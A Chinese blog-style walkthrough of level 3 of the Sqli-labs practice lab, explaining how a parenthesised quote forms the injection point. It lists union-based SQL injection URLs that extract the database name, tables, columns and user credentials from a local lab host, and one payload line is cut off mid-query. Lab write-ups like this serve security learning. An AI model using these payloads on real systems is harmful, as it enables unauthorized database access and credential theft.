Sqli-labs 3
2021/8/23 19:07:07
本文主要是介绍Sqli-labs 3,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1.找注入点
这一关的名字叫做 quotes with twist ,扭曲的引号,为什么这么说呢,
我们先来看看测试报错,后面加上双引号,可以看到没报错
后面加上' 报错,这里不注意看这个报错信息的话,找到注入点直接上payload会发现还是报错
这里就出现所谓的扭曲了,注意看报错返回的),括号,在sql语法中加入了(),对传入参数$id的引用
来看看源码,果然是有括号的
2.构造payload
接下来就可以根据这点来构造payload了,之前我们已经知道他查询是3个字段了,就不在从头开始探查了
http://127.0.0.1/sql/Less-3/?id=-2') union select 1,2,3 --+
爆数据库名
http://127.0.0.1/sql/Less-3/?id=-2') union select 1,database(),(select group_concat(schema_name) from
爆表名
http://127.0.0.1/sql/Less-3/?id=-2') union select 1,NULL,(select group_concat(table_name) from information_schema.tables where table_schema = "security") --+
爆字段
http://127.0.0.1/sql/Less-3/?id=-2') union select 1,NULL,(select group_concat(column_name) from information_schema.columns where table_name = "users") --+
爆数据
http://127.0.0.1/sql/Less-3/?id=-2') union select 1,NULL,(select group_concat(username,0x3a,password) from users ) --+
最关键的还是要找到注入点和绕过方式~~
这篇关于Sqli-labs 3的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-01基于Python+Vue开发的医院门诊预约挂号系统
- 2024-10-01基于Python+Vue开发的旅游景区管理系统
- 2024-10-01RestfulAPI入门指南:打造简单易懂的API接口
- 2024-10-01初学者指南:了解和使用Server Action
- 2024-10-01Server Component入门指南:搭建与配置详解
- 2024-10-01React 中使用 useRequest 实现数据请求
- 2024-10-01使用 golang 将ETH账户的资产平均分散到其他账户
- 2024-10-01JWT用户校验课程:从入门到实践
- 2024-10-01Server Component课程入门指南
- 2024-09-30Dnd-Kit学习:新手快速入门指南